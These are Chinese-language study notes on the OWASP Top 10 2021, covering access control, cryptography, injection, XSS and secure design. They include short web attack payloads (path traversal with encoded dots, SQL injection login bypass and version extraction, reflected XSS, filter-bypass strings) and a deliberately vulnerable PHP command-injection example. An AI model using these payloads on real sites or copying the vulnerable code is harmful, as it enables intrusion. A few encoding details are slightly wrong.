# 資訊安全: Web Application [TOC] ## OWASP 組織介紹 > Open Worldwide Application Security Project * 非營利組織 * 全球性的資安社群 * 提供一系列開源工具和資源 1. OWASP Top 10 :keycap_ten: * 最常見的十大 Web 應用程式安全風險列表 * 幫助開發人員、測試人員和管理人員識別、解決 Web 應用程式的安全問題 2. OWASP Testing Guide :book: * 測試 Web 應用程式的指南,提供了全面的測試方法、技術和工具 * 幫助測試人員檢查軟體開發生命週期(SDLC)的各個階段、發現漏洞 3. OWASP ZAP :mag_right: * 開源的 Web 應用程式安全測試工具,用於管理 Web 應用程式的安全性 * 可進行漏洞掃描、漏洞測試、弱點掃描、風險評估 4. OWASP Juice Shop :computer: * 開源的 Web 應用程式,展示漏洞和攻擊來幫助開發人員學習 Web 應用程式安全性 * 可以用於教育和培訓開發人員、測試人員和管理人員。 ## OWASP Top 10 2021 介紹 ![](https://i.imgur.com/LCbC5SH.png) > [資料來源](https://owasp.org/) ### 2.1 Broken Access Control 權限控制失效 允許未經授權的使用者訪問受限資源,導致未經授權的資訊洩露、修改或損壞所有資料,攻擊者會藉由操作 Url, HTML, Session,cookies 來達到水平或垂直的提權 ![](https://i.imgur.com/RxoX8Vb.png =520x300) #### 2.1.1 什麼是 Access Control ? 是一種安全機制,可以決定誰或什麼可以訪問特定的資源或在應用程式或系統中執行特定的操作,如果沒有經過授權就不能訪問資源,可以保障應用程式或系統的安全性和保密性 * 實施 Access Control 可以透過兩個方面: * Session Management:追蹤使用者的登錄狀態,當使用者發出新的請求,會檢查是不是和之前的 session id 相同,如果不同則視為新的使用者,需要重新執行身份驗證。 * Authentication:指定使用者可以訪問的資源和執行的操作 #### 2.1.2 Access Control 常見種類 > 有很多種分類的方式,這邊舉例常見的幾種分類方式 * Mandatory Access Control(MAC): 由系統管理員明確定義資源的存取方式,使用者無法自行更改規則。嚴格條列出每一種可能的存取規則,相當嚴謹,所以缺乏彈性。 > 例如:專業的軍用系統 * Discretionary Access Control(DAC): 由資源的擁有者自行決定如何開放授權讓他人存取,可以隨時變更存取權限,使用彈性較大 > 例如:Facebook或IG貼文、Linux 的檔案權限管理方式(擁有者可將讀取、寫入、執行的權限開放給不同身份) * Privilege-Based access controls(Vertical): 根據不同身分分配不同的權限,可以確保敏感數據和資源只有授權使用者才能夠訪問。 > 例如:在銀行的系統中,每個客戶只能夠訪問自己的銀行帳戶資訊,銀行職員則可以訪問所有客戶的帳戶資訊,而系統管理員可以訪問系統中所有的數據和資源,客戶沒有系統管理員的權限。 * Role-Based access controls(Horizontal) : 根據使用者的角色和職責分配權限,確保使用者只能訪問其擁有權限的資源 > 例如:使用者只能查看和修改自己的帳戶,而不能查看或修改其他人的帳戶 #### 2.1.3 什麼是 Broken Access Control? > 在 2013 版其實是分開的,分別為 A4 - 不安全的直接物件引用 (Insecure Direct Object References) 和 A7 - 缺少功能級別的訪問控制 (Missing Function Level Access Control) > 從第 5 名上升至第 1 名 ![](https://i.imgur.com/H3CwHwv.png =400x340) * Vertical privilege escalation 垂直提權 * 攻擊者可能通過竊取或冒充其他使用者的身份進行攻擊,從而繞過訪問控制機制。 > 模擬成其他使用者的**身份**,以訪問未經授權的資源 > 客戶有銀行職員的權限,因此可以查看其他客戶的帳戶資訊 ```sql= -- 假設網站的管理員頁面網址為: https://example.com/admin.php -- 一般使用者登入: https://example.com/home.php?id=1234&user_id=5678 -- id :使用者正在查看的資源編號; user_id :是使用者的 ID -- 發送 request 給 server -- 想要查看使用者 ID 為 5678 的使用者的資料 GET /user/profile.php?user_id=5678 HTTP/1.1 Host: example.com ``` * 失敗 ```sql= -- 該使用者想要手動進入管理員頁面,於是手動修改網址為 https://example.com/admin.php?id=1234&user_id=5678。 -- 瀏覽器會發送一個 GET 請求到該網址 -- server 端會解析這個 GET 請求,從中獲取 id 和 user_id 的值,進行驗證 -- server 端會拒絕該使用者的請求,因為使用者沒有訪問權限 ``` * 成功 ```sql= -- 如果攻擊者知道了管理員的user_id為9999,他可以手動修改網址中的user_id的值為管理員的user_id,網址變 https://example.com/admin.php?id=1234&user_id=9999 -- 瀏覽器會發送一個 GET 請求到該網址 GET /user/profile.php?user_id=9999 HTTP/1.1 Host: example.com -- 伺服器會解析這個 GET 請求,進行驗證,發現這是一個管理員使用者,並且擁有訪問管理員頁面的權限,伺服器會返回管理員頁面的內容給攻擊者 $user_id = $_GET['user_id']; // 判斷是否為管理員帳號 if ($user_id == $admin_id) { // 取得管理員權限 $admin_privilege = get_admin_privilege(); } ``` * Horizontal privilege escalation 水平提權 * 使用者能夠取得同層級不同使用者的資訊,對同一層級的使用者或角色之間進行訪問控制 > 模擬成其他使用者的**身份**,以訪問未經授權的資源 > ex. 客戶可以存取到其他銀行客戶的帳號訊息 ```sql= -- 透過修改 user_id 後的數字可以存取其他使用者的帳戶訊息 https://example.com/home.php?id=1234&user_id=1234 https://example.com/home.php?id=1234&user_id=5678 ``` * Insecure direct object references (IDOR) 不安全的直接物件參考 > 類似 Horizontal privilege escalation > 原本自己獨立為一個攻擊類別的,但在後來則被歸類到 Broken Access Control 的範圍中 * 直接訪問**物件**的方式,進行不當訪問或者操作,並且繞過了系統的權限控制 * 訪問系統內部的物件,例如文件、資料、目錄等 ```sql= -- 透過修改 id 後的數字可以存取 moodle 內的其他課程 https://moodle.ncnu.edu.tw/course/view.php?id=55750 https://moodle.ncnu.edu.tw/course/view.php?id=55751 -- sql 指令可能為 SELECT * FROM courses WHERE id = 55750; SELECT * FROM courses WHERE id = 55751; ``` * 目錄遍歷攻擊 ```sql= -- 假設一個網站有一個檔案路徑存訪使用者 user1 的照片 /files/user1/photo.jpg -- user2 的照片 /files/user2/photo.jpg -- 如果 user1 和 user2 資料夾都沒有設權限 -- 使用者 user1 成功存取到使用者 user2 的照片 /files/user1/../user2/photo.jpg -- 但如果網站有設置黑名單禁止../ -- 可以嘗試使用 %2e 取代. ,用 %2f 取代 / /files/user1/%2e%2e%2fuser2/photo.jpg -- 應該採用白名單機制,只允許訪問特定的目錄和文件 ``` * 解決方法: 1. 檢查權限 ```c#= -- 在權限表中新增一個權限,指定使用者可以存取特定課程 INSERT INTO permission (user_id, course_id) VALUES (109213000, 55750); -- 必須做額外的檢查,查看使用者 109213000 是否有課程的權限 SELECT * FROM permission WHERE user_id = 109213000 AND course_id = 55750; ``` 2. 黑名單 / 白名單 ```sql= -- 以白名單明確列出使用者可以輸入的字元串清單 -- 以黑名單過濾可能會造成危害的字元串(例如: .. 或 / ) ``` 3. 間接物件引用 ```sql= -- 改用間接物件引用,以亂數值取代物件的真實名字或鍵值 -- 在建立一份不公開的索引表,攻擊者就很難猜到正確的亂數值。 https://moodle.ncnu.edu.tw/course/view.php?id=55750 https://moodle.ncnu.edu.tw/course/view.php?id=rbh4739 ``` | | 水平提權 | IDOR(不安全的直接物件參考) | | ---- | ----- | ------ | | 定義 | 訪問同一權限級別的帳號 | 直接訪問物件,並且繞過了系統的權限控制 | | 攻擊目標 | 同一權限級別內其他帳號 | 特定物件或資源 | | 攻擊手法 | 猜測帳號密碼 | 直接修改網址或參數值 | | 可能的威脅 | 導致帳號被盜用,進一步存取資料 | 導致物件的未授權的存取和資料竊取 | #### 2.1.4防範方式 * 開發階段: * 除了公開資源以外,其餘應該採用預設拒絕的設計,僅開放必要的資源 * 最小權限:根據業務的需求限制訪問資源權限,只賦予完成工作所需的最小權限即可 * 強化 Session 管理:在使用者登出後在 server 端上將其註銷 * 限制 API 和控制器(Controller)的訪問次數,以減少自動攻擊工具造成的損害 * 記錄 Access Control 失敗的情況 > 控制器(Controller):MVC 架構中的其中一個模組,是 request/response 的核心,負責接收使用者的 request ,並返回相對應的結果 * 維護階段 * 監控和紀錄使用者存取活動,以檢測和防止潛在的攻擊(ex. 重複失敗時通知管理員)。 * 設定適當的警報機制,以回應存取失敗或異常情況。 * 定期評估存取控制機制的風險 --- ### 2.2 Cryptographic Failures 加密機制失效 #### 2.2.1 密碼學 * 密碼學可以做什麼? * 機密性:確保資料傳遞與儲存的隱密性 * 完整性:保護數據免受未經授權的篡改和變更 * 可鑑別性:確認使用者或系統的身份 * 編碼 encode * 不安全,不需要金鑰就可解碼 * 經過一種演算方法,將資料轉換成另一組資料的方式 * 編碼 ≠ 加密 (只是轉換資料的方式) * ex. encodeURI() / decodeURI() 、Base64、Huffman Coding * 加密 encrypt * 將明文(plaintext)轉換為密文(ciphertext)的過程,使得未經授權的人無法讀取密文 * 是可逆的,透過金鑰可以將密文轉換回明文 * 加密通常用於傳輸敏感數據,例如使用 HTTPS 協議加密網站的流量。 * 對稱式加密(AES、DES 等) * 非對稱式加密(RSA、DSA、ECC 等) * 雜湊 hash * 將任意長度的數據(明文)轉換為固定長度的數據(hash 值)的過程,通常用於數據完整性驗證和數據比較 * 相同的輸入會產生相同的輸出,不同的輸入會有不同的輸出 * 不可逆的(無法通過雜湊值反推出原始數據) * 通常用於儲存使用者密碼(密碼雜湊),管理員看不到使用者密碼的明文,假設資料庫被盜,使用者的密碼也不會被直接獲取 * ex. md5(不安全)、sha256 * 訊息認證碼 MAC * 建立在雜湊函數的基礎上 * 將任意長度的輸入資料對應到唯一且固定長度的輸出資料(MAC) * 需要一把金鑰才能重新計算 MAC ,所以擁有金鑰的各方才能產生、檢查 MAC 的有效性 * 用於確保駭客無法偽造或竄改網際網路傳輸的資料封包 * 發送方和接收方會在 TLS 交握過程中交換共享的密鑰,之後發送方會為每個資料封包都產生一組 MAC ,並附加到封包上,接收方可以利用金鑰重新計算 MAC ,確認封包內容有沒有受到竄改。 :::info ### SSL/TLS * SSL(Secure Sockets Layer):用於 Web 的安全通訊協定,目前最高版本是SSL v3.0 ,但由於設計存在缺陷,多數企業建議廢止SSL協定,目前以TLS 代替 * TLS(Transport Layer Security):加密技術更加強大和安全,例如更強大的加密演算法和密鑰長度,以確保更高的安全性 * SSL 和 TLS 都使用了數位證書和加密技術,以確保通信的機密性、完整性和安全性 * 安全性憑證可以向憑證管理中心(CA)申請,CA 扮演了公正的第三方角色,安全性憑證包括憑證持有人的名稱、公鑰、數位簽章、憑證的有效期等訊息,網站必須通過申請者身份、網域所有權、憑證申請權等項目的審查才能獲得安全性憑證,並且安全性憑證需要定期更新。 > 習慣上仍稱安全性憑證為 SSL 憑證 * TLS使用的加密套件包含三個獨立的演算法, * 非對稱加密演算法(金鑰交換演算法: 交換第二種演算法所需的金鑰) * 對稱式加密演算法(加密TCP資料封包的對稱式金鑰) * MAC演算法(驗證加密訊息) * ![](https://i.imgur.com/lyEv71K.png) > [參考資料](https://zh.wikipedia.org/zh-tw/%E5%AF%86%E7%A0%81%E5%A5%97%E4%BB%B6) * TLS 過程 1. client 端向 server 端發送 ClientHello 訊息,包含支援的加密套件列表、隨機數、支援的 TLS 版本和其他資訊。 2. server 端收到 ClientHello 訊息後,回應 ServerHello 訊息,包含選擇的加密套件、隨機數、選擇的 TLS 版本和其他資訊。 3. server 端向 client 端發送公開金鑰證書,以及使用該證書進行金鑰交換的演算法(例如 RSA、Diffie-Hellman 等)。 4. client 端驗證 server 的證書是否有效,如果證書有效,則生成一個隨機的對稱金鑰,並使用 server 的公鑰進行加密,向 server 端發送加密後的金鑰。 5. server 端使用私鑰解密收到的金鑰,得到 client 端生成的對稱金鑰。 6. client 端和server 端使用共享的對稱金鑰進行加密和解密,保護通訊中的資料隱私性和完整性。 7. 通訊完成後,使用者端和伺服器使用終止通訊的訊息來終止 TLS 連接,例如使用者端發送 close_notify 訊息,告知伺服器關閉連接。 ![](https://i.imgur.com/YOhSEej.png) > [參考資料](https://www.cloudflare.com/zh-tw/learning/ssl/what-happens-in-a-tls-handshake/) ::: #### 2.2.2 什麼是 Cryptographic Failures? > 以前稱為 Sensitive Data Expose ,因為先前的命名屬於現象,而不是原因 因為在應用程式中會儲存很多敏感的資料(ex. 密碼、信用卡號、個人訊息),所以在傳輸資料的過程中,需要對資料加密 * 可能導致加密失敗的原因 * 敏感數據通過HTTP、FTP、SMTP等明文傳輸,或者在資料庫、文件等中以明文形式儲存 * 在與 server 端通訊時服務或不足的TLS/SSL加密,或沒有檢查伺服器的安全憑證 * 應用程式或服務配置使用已過時的算法進行數據完整性或身份驗證處理 * 使用弱的或預設的加密金鑰,或重複使用被破解的金鑰 * 可能的攻擊場景 * #1 弱密碼 * 如果使用者跟 web之間的通訊是經過加密的,就無法進行中間人攻擊 * 假設加密過程使用的是弱金鑰、過時的加密方式,攻擊者就可以利用漏洞破解密碼,獲取敏感訊息 * ex. 64位區塊密碼可以利用 Sweet32 漏洞破解 > 64位區塊密碼:對稱加密算法,其中明文被分為64位長度的數據塊,每個數據塊都使用相同的密鑰進行加密 > 現代的加密算法通常採用128位或更長的區塊長度,如AES(高級加密標準),以提高安全性和抵抗攻擊 > https://www.synack.com/blog/preventing-cryptographic-failures-the-no-2-vulnerability-in-the-owasp-top-10/ * #2 密碼竊取 / 密碼破解 * 暴力法攻擊:攻擊者使用暴力猜測的方式進行密碼破解。攻擊者通常使用一個自動化工具,在非常短的時間內嘗試許多可能的密碼,直到找到正確的密碼為止。 * 密碼字典攻擊:攻擊者使用預先準備好的密碼字典,試圖找到受保護系統的密碼。攻擊者使用這些字典中包含的常用密碼、單詞、名稱、日期等進行嘗試。 * 混合攻擊:攻擊者結合暴力法和密碼字典攻擊,並使用其他技術,如彩虹表攻擊、線性搜尋攻擊等,來進行密碼破解。 ![](https://i.imgur.com/zkqOGfU.png) * #3 彩虹表攻擊法 * 攻擊者會生成一張彩虹表,大量收集使用者常用的密碼字串,並使用各種雜湊函數計算出對應的 hash 值,如果攻擊者成功入侵資料庫就可以利用 hash 值逆向查找,回推出對應的密碼 :::info ### 彩虹表 目前已經有破解網站(例如:RainbowCrack、CrackStation等)提供密碼字典的 MD5 及 SHA-1 雜湊值,因此不建議用這些較不安全的雜湊函數進行密碼儲存 抵擋彩虹表攻擊可以使用雜湊加鹽的方式儲存密碼 ### 加鹽 先將原始明文增加一些變化(Salt)再交給雜湊函數機算 hash 值,由於 Salt 是亂數產生,因此增加了破解的難度,即使兩位使用者設定了相同的密碼,也會因為產生的 Salt 不同,而有不同的 hash 值 ### 經過加鹽後的密碼一定安全嗎? 如果使用不安全的雜湊算法或者鹽值不夠長或者不夠隨機,攻擊者仍然可以使用暴力破解、字典攻擊和線性搜尋攻擊等。 ::: #### 2.2.3 防禦方式 * 對於使用者: * 遵守密碼最小長度、密碼組成複雜度、密碼組成隨機性、避免重複使用、定期更換等策略 * 多層身份驗證:實現多層身份驗證,如使用驗證應用程式或硬體安全鑰匙等。 * 監控和檢測:注意登錄活動,監控和檢測不正常的登錄活動 * 對於開發者: * 在設計和開發系統時,應考慮安全性因素 * 使用最新的加密算法,並禁用舊式、不安全的加密算法 * 對密碼使用雜湊加鹽技術 * 定期審查錯誤日誌,以檢測潛在的安全問題 :::info ### 設定密碼原則 * 長度與複雜度 * 至少八碼以上,混合大小寫英文、數字、特殊符號 * 避免密碼有明顯的含義 * 避免只使用單字或片語、避免使用具有特殊意義的名詞(如:家人的姓名或生日等) * 避免設定相同的密碼 * 避免把所有的網路服務都設定成相同的帳號與密碼 * 定期更新密碼 * 建議至少每 60~90 天就更新一次 ### 建議方式 如果使用太難的密碼會容易忘記,可以用好記的方式去產生一組安全的密碼 * 穿插法 * 兩個英文字或數字穿插 * ex. Hello + 1234 -> H1e2l3l4o * 字母位移法 * 英文字母往前或往後移動幾個位置 * ex. Hello -> Ifmmp * 順序位移法 * 有意義的字元重新排列順序 * Hello 用 24135 排列 -> lhleo * 鍵盤位移法 * 電腦鍵盤按鍵的位置進行字元移動 * Hello -> Jraap * 替換法 * 利用字形或發音相近的英文字母與數字交互替換,英文字母 O 換成數字 0,字母 S 換成數字 5 * Hello -> H1ll0 * 輸入法變化 * 中文字的拼音轉換成鍵盤上的字母 * 你好 -> su3cl3 * 掐頭去尾法 * 一段話中的每個英文單字的字首組合成密碼 * How are you ? I'm fine thank you -> HAYIFTY > [參考資料](https://www.civil.taichung.gov.tw/media/21705/new-taichung-sy-public-attachment-1-313016441124.pdf) ::: > [參考資料](https://foresite.com/blog/owasp-top-10-cryptographic-failures/) > [參考資料](https://www.synack.com/blog/preventing-cryptographic-failures-the-no-2-vulnerability-in-the-owasp-top-10/) --- ### 2.3 Injection 注入攻擊 #### 2.3.1 什麼是 injection? 利用應用程式對輸入數據的不充分過濾和驗證,將惡意輸入數據注入到應用程式中,從而繞過正常的輸入驗證,進而獲取敏感資料、修改資料或者執行未授權的操作。資料庫、XML、作業系統...都可能是注入攻擊的目標 > 2021-Injection 合併 2017-Injection 和 2017-Cross-Site Scripting(XSS) ##### 2.3.2 SQL injection 在輸入的字串資料中,夾帶符合 SQL 語法的字串,讓伺服器以為是正常的 SQL 指令而執行,可以進一步繞過身份驗證機制、竄改資料庫內容... * 繞過身份驗證機制 ```sql= -- 網站接受使勇者的輸入,結合成 SQL 語法,向資料庫進行查詢 SELECT * FROM users WHERE (name = '欄位1') and (password = '欄位2'); -- 欄位1: admin-- -- 欄位2: 隨意填入即可(ex.1111) SELECT * FROM users WHERE (name = 'admin--') and (password = '1111'); -- 由於 "--" 為註解符號,等於是跳過了密碼驗證的步驟 SELECT * FROM users WHERE name = 'admin'; ``` * SQL injection 的類型 攻擊者需要根據資料庫的種類跟類型去調整輸入的攻擊字元,例如:MySQL 資料庫預設使用 3306 port,因此可以使用 Nmap 工具檢測系統主機是否開放3306 port,判斷目標系統是否使用了 MySQL 資料庫 ![](https://i.imgur.com/D9NFMkG.png =480x300) * Error based 試圖輸入錯誤的sql指令,應用程序會返回一個錯誤訊息或頁面,有關錯誤的詳細訊息,這時攻擊者就可能會獲得資料庫的其他資訊,例如:資料庫版本、表格名稱、欄位名稱、SQL 查詢的結構...等 * 有了資料庫版本,可以利用公開的漏洞資訊庫尋找相應的漏洞 * 有了表格名稱和欄位名稱,可以了解資料庫的結構,進一步進行 SQL Injection ```sql= -- 假設有一個頁面,提供使用者查詢員工編號,用以下 SQL 語句來查詢 SELECT * FROM employee WHERE id = $id -- 攻擊者在輸入框裡輸入以下字串,顯示版本資訊 ' or 1=1 and extractvalue(0x0a,concat(0x0a,(select @@version))) and '1'='1 -- 完整的sql SELECT * FROM employee WHERE id = '' or 1=1 and extractvalue(0x0a,concat(0x0a,(select @@version))) and '1'='1' ``` > 攻擊者在注入的字符中使用了 extractvalue 函數,屬於 XPath 函數,可以在 SQL 語句中執行,讓攻擊者能夠擷取資料庫的特定值,例如資料庫版本,並在頁面上顯示。 ![](https://i.imgur.com/NxhYCaO.png) * Blind based 若系統屏蔽錯誤訊息,攻擊者只能用「盲測」的方式找出資料庫的弱點,常用的方法包含 Boolean based 和 Time based * Boolean based: * 利用條件式的邏輯關係,攻擊者可以注入一個 SQL 語句,詢問是否存在一個特定的資料。根據 TRUE 或 FALSE 的結果,攻擊者就可以逐步獲取資料庫中的資料。 * ex.猜測資料表名稱第一個字母是否為「a」,如果為False,則猜測是否為「b」,以此類推,就可以找出資料表的名稱 * Time based: * 添加一些等待資料庫返回結果的命令,例如 SLEEP 或 BENCHMARK,再根據應用程式的反應時間來判斷 SQL 語句是否有效。 * ex. 利用 SLEEP(N) 的 SQL 指令,如果發出的條件成立則延遲數秒之後才顯示結果 * 防禦方式 * 前端 * 輸入驗證:在前端對使用者輸入進行驗證,確保輸入的數據符合格式和範圍 > 例如: 限制使用者輸入的字符集合、限制使用者輸入的長度、確保使用者輸入的數字在合理範圍內等 * 輸入過濾:使用正規表達式等方式過濾掉數據中的不合法字符,防止攻擊者通過插入特殊字符來繞過驗證機制 > 例如: php 的 [filter_var() ](https://www.w3big.com/zh-TW/php/php-filter.html#gsc.tab=0)函數,過濾掉不符合 email、URL、IP 等格式的字串 * 輸入加密:對於敏感數據,例如密碼等,應該在前端使用加密技術對數據進行加密,以確保攻擊者無法直接獲取有用的訊息 * 後端 * 參數化輸入:避免使用動態串接的 SQL 的查詢語法,改為參數化的 SQL 語句,將使用者輸入與 SQL 語句分離。這樣可以防止攻擊者通過修改 SQL 語句來進行 SQL Injection 攻擊 > 例如: 在 Java 中可以使用 PreparedStatement 對 SQL 語句進行參數化處理(下面有補充) * 驗證輸入:在後端再次對使用者輸入進行驗證,以確保使用者輸入的內容符合預期的格式和範圍 > 例如: 檢查輸入是否包含特殊字符、是否為預期的數據類型等。 * 最小權限原則:限制資料庫使用者的權限,降低攻擊者的攻擊面 > 例如: 對於應用程式只需要讀取數據的權限,可以只賦予資料庫使用者讀取權限,不賦予修改或刪除權限 * 隱藏錯誤訊息:不向使用者返回有關應用程式或資料庫的詳細錯誤訊息 :::info ### PreparedStatement * 把使用者的輸入當作參數插入到 SQL 語句中,而不是直接拼接到 SQL 語句中 * 把 SQL 語句中的所有參數用占位符(placeholder,通常是問號?)來表示 * 即使攻擊者在輸入的參數值中輸入了 SQL 語句的一部分,它也只會被當成參數值,而不會對 SQL 語句產生影響 ```javascript= PreparedStatement stat = conn.prepareStatement("Select * From users Where id = ?"); stat.setString(1, "2"); stat.executeQuery(); stat.clearParameters(); /* Select * From users Where id = 2 */ ``` > [參考資料](https://blog.judysocute.com/2020/06/21/%E7%AC%AC-20-%E9%80%B1-%E4%BD%BF%E7%94%A8-preparedstatement/) ::: #### 2.3.3 Command injection 向程式傳入不安全參數,試圖觸發伺服器端作業系統Shell層命令,如 ls、cat等 * 舉例 :::spoiler command.html ```html= <html> <head> <meta charset="UTF-8" /> </head> <body> <form action="test.php" method="post"> <label for="Name">請輸入檔案名稱</label><br> <input type="text" name="Name" id="Name"> <input type="submit"> </form> </body> </html> ``` ::: :::spoiler test.php ```php= <?php $command = $_POST["Name"]; echo shell_exec("cat $command"); ?> ``` ::: #### 2.3.4 XSS * 將指令碼(如JavaScript)注入到動態網頁中,讓使用者在瀏覽網頁的過程中載入並執行惡意製造的網頁程式,常用來篡改網站內容、引導使用者到惡意網站、竊取Cookie或 Session 資料 * 雖然駭客是對網站發動 XSS 攻擊,對網站本身運作沒有危害,真正的受害者卻是網站的其他使用者 * 種類 * 儲存式 XSS(Store) * 將惡意腳本或程式碼儲存在網站伺服器中,當其他使用者存取相關頁面時,就會被惡意腳本攻擊。攻擊者在網站上儲存惡意腳本的方式通常是透過網站上的表單提交,並將腳本存入網站資料庫,當其他使用者存取相關頁面時,惡意腳本就會被載入並執行 * 危害性較高、難被偵測和防禦 > 惡意腳本長期儲存在網站資料庫中,持續地對使用者發動攻擊 * 典型攻擊手法:利用網站上的留言板、討論區等功能,將惡意腳本插入到使用者提交的內容中。當其他使用者訪問該網站時,瀏覽器將載入該腳本,從而受到攻擊。 * 反射式 XSS(Reflected) * 使用 HTTP GET 方法傳送資料,伺服器未檢查就直接於網頁上回應 * 典型攻擊手法:利用釣魚信件或遷入是網頁,誘騙使用者點選含有惡意指令碼的連結,觸發 XSS 攻擊 :::warning 但通常惡意的網址會讓使用者起疑心,攻擊者會用 [reurl](https://reurl.cc/main/tw) 等其他縮短網址的服務,所以不要輕易點擊未知的短網址!!! ::: ```c#= #在一個特殊的連結中將這個程式碼嵌入至參數 http://www.example.com/search?keyword=<script>alert('您的帳號已被盜用');</script> #當使用者點擊這個連結,由於未對輸入值進行過濾或驗證,程式碼會被完整地反射到使用者的瀏覽器中,彈出警示框。 ``` * DOM 型 * 針對使用者端瀏覽器中的DOM元件發動攻擊,利用前端網頁程式碼自身漏洞,攻擊前端腳本中使用者輸入的數據 * 攻擊過程中,使用者端在DOM執行過程會載入惡意程式碼 > DOM(Document Object Model):用以描述 HTML 文件的表示法, JavaScript 不必透過伺服器就能動態產生完整的網頁 * XSS 防禦 * 輸入驗證(伺服器端) * 在伺服器端對使用者輸入的資料進行驗證,只接受合法的資料,避免惡意輸入被存入資料庫或顯示在網頁上。 * 制定白名單允許特定資料、制定黑名單過濾資料 :::info ### 還是可以繞過黑名單驗證 黑名單治標不治本 * 過濾 `<script>` ,仍然可以用 `<scr<script>ipt>` 進行 XSS 攻擊 * 過濾 `<` 符號,仍然可以用同義字 `%3C(URL編碼)`、 `&IT(HTML編碼)`、`\u003c(Unicode Encoding)` 等不同編碼方式所產出的字元取代 ::: * 輸出編碼(伺服器端) * 將潛在的惡意腳本或 HTML 標籤轉換成無害的字符或字元序列,以防止在網頁上被解析並執行,例如字串 `<script>`轉換成 `&IT;script&gt;` * 使用者端 * 可以將 innerHTML 改為 innerText 或 textContent :::success ### innerHTML / innerText / textContent 比較 #### innerHTML * 回傳元素內的 HTML(包含元素的標籤、屬性) #### innerText * 回傳元素內的文字,並且會自動移除 HTML 的標籤 #### textContent * 回傳元素內的文字,但不會保留 HTML 標籤和屬性,但會保留空格 #### 舉例 ```htmlembedded= <!DOCTYPE html> <html> <body> <h1>The Element Object</h1> <h2>The Differences Between innerText, innerHTML and textContent</h2> <p id="myP"> 今天的 天氣 <span>非常好!!!</span>.</p> <button onclick="getinnerHTML()">Get innerHTML</button> <button onclick="getinnerText()">Get innerText</button> <button onclick="gettextContent()">Get textContent</button> <pre id="demo"></pre> <script> function getinnerText() { let text = document.getElementById("myP").innerText; document.getElementById("demo").innerText = text; } function getinnerHTML() { let text = document.getElementById("myP").innerHTML; document.getElementById("demo").innerText = text; } function gettextContent() { let text = document.getElementById("myP").textContent; document.getElementById("demo").innerText = text; } </script> </body> </html> ``` * Get innerHTML ![](https://i.imgur.com/tu5T5cp.png) * Get innerText ![](https://i.imgur.com/jwXLul3.png) * Get textContent ![](https://i.imgur.com/sWxBSpB.png) > [參考資料](https://www.w3schools.com/jsref/prop_html_innerhtml.asp) ::: :::success ### 安全組態設定 * 組態(Configuration):系統運行的環境及相關功能設定 * 包含了一系列的設定檔、安全控制、加密、權限設定等,可以幫助組織預防或減輕許多安全事件的發生 * 當系統組態不當、錯誤設定,就容易產生安全漏洞 ::: --- ### 2.4 Insecure Design 不安全設計 > 2021 年的新分類 > :house: 如果在設計房子的時候沒有考慮到有可能會有地震跟颱風,等到真的發生地震或颱風來的時候,房子就會很危險!!所以在蓋房子的時候要考慮到環境、自然災害...等,才能蓋出安全的房子 #### 2.4.1 什麼是不安全設計? * 在軟體開發的設計階段,沒有考慮到安全因素而導致系統容易受到攻擊的問題,不止是單一類型的安全漏洞,而是整體程式安全架構的風險問題 * 欠缺檢查機制 * 系統在接收輸入數據時,需要對輸入進行充分的檢查和驗證 * 資料暴露 * 未使用適當的加密和儲存措施,導致敏感資料被非法存取 * 缺乏驗證/限制措施 * 電影院訂位前還沒有付押⾦的時候,可以允許 15 名觀眾⼀次做訂票,⽽駭客他可以⼀次訂 15 張票,可以連續訂 40 次,可能這場電影就被駭客壟斷。然⽽如果駭客⼀次放棄全部的票的時候,這場電影可能導致沒有⼈看的情況,會有巨⼤的損失 * 流程置換 * 選擇欲觀看的電影場次 > 選擇欲購買的座位 > 輸入個人資料,完成訂票程序 * 選擇欲觀看的電影場次 > 駭客透過程式自動選取座位 > 輸入個人資料,完成訂票程序 * 駭客可以輕易地訂到最佳的座位,並且使得其他使用者無法購買到這些座位 * 時序關係 * 產生的 OTP(One-Time Password) 並⾮隨機數且不具時效性 #### 2.4.2 防禦 * 安全設計 * 使用 SSLDC(Secure Software Development Life Cycle) * 聘請專業的資安架構師來進行評估,確保目前的設計中的控制措施、安全和隱私相關方面都得到了有效的保障 * 使用已經完成且安全的元件或函式庫,不要直接實作自己的安全設計,避免產生缺陷和問題 * 安全測試 * 威脅模型分析 (Threat Modeling)全面評估系統的安全性 * 根據威脅模型的結果撰寫對應的單元測試和整合測試,以驗證系統是否存在安全漏洞 * QA 團隊在進行測試時也需要重視軟體的安全性,測試軟體是否存在可能的資安問題 :::info ### SSLDC (Secure Software Development Life Cycle) * 強調在系統開發的生命週期中融入資訊安全的思維,避免產生資安漏洞 * 安全開發流程 * ![](https://i.imgur.com/440vHlY.png) * NIST SDLC 安全考量 | SDLC 階段 | SSDLC 階段 | 安全考量 | | --------- | ---------- | -------- | | 需求 | 安全軟體需求 | 安全性分類、初步風險評鑑 | | 設計 | 安全軟體設計 | 安全性需求分析、風險評鑑、安全性計畫、安全性控制措施開發及測試 | | 開發 | 安全軟體開發 | 安全性控制措施整合、安全性控制措施有效性認證 | | 測試 | 安全軟體測試 | 組態管理、持續監控 | | 部署 | 安全軟體部署 | 資訊保存、軟硬體汰除 | ::: :::info ### Threat Modeling * 尋找系統潛在威脅以建立對抗的策略 * 常見的種類(視角) * 攻擊者導向(Attacker-centric) * 以攻擊者角度為出發點,評估攻擊者的目的、能力、資源、動機等因素,推測出可能採取的攻擊方式和攻擊路徑 * 舉例:攻擊者的目的是盜取該銀行的客戶資料:社交工程攻擊該銀行的員工、透過網路攻擊銀行的伺服器來達成目的 > 社交工程:利用人性弱點,欺騙、誘導他人提供敏感的資訊或進行不利於自身或他人的行為 * 軟體導向(Software-centric) * 以系統的設計方式與系統的運作目的為出發點,尋找對系統或內部模組相關的攻擊方式 * 舉例:假設有一個網站需要存放機敏資料,可以從網站設計、程式碼撰寫、網路傳輸等方面評估系統是否安全 * 資產導向(Asset-centric) * 從系統所託管的資源著手分析 * 舉例:假設一家公司需要保護智慧財產權,包括產品設計、商業機密等,考慮到防禦成本有限,需要進行資產導向分析,評估哪些資產最重要,並制定保護措施 >[參考資料](https://zh.wikipedia.org/zh-tw/%E5%A8%81%E8%84%85%E6%A8%A1%E5%9E%8B%E5%88%86%E6%9E%90) >[參考資料](https://aws.amazon.com/tw/events/taiwan/techblogs/how-to-approach-threat-modeling/) ::: :::info ### QA 團隊 * Quality Assurance Engineer(產品測試/品質保證工程師) * 負責將工程師開發出來的成品做品質上的確認 * 做 Integration testing(整合測試)、End-to-end testing(端對端測試) ::: :::info ### 單元測試 / 整合測試 / 端對端測試 > 前端常見的測試類型 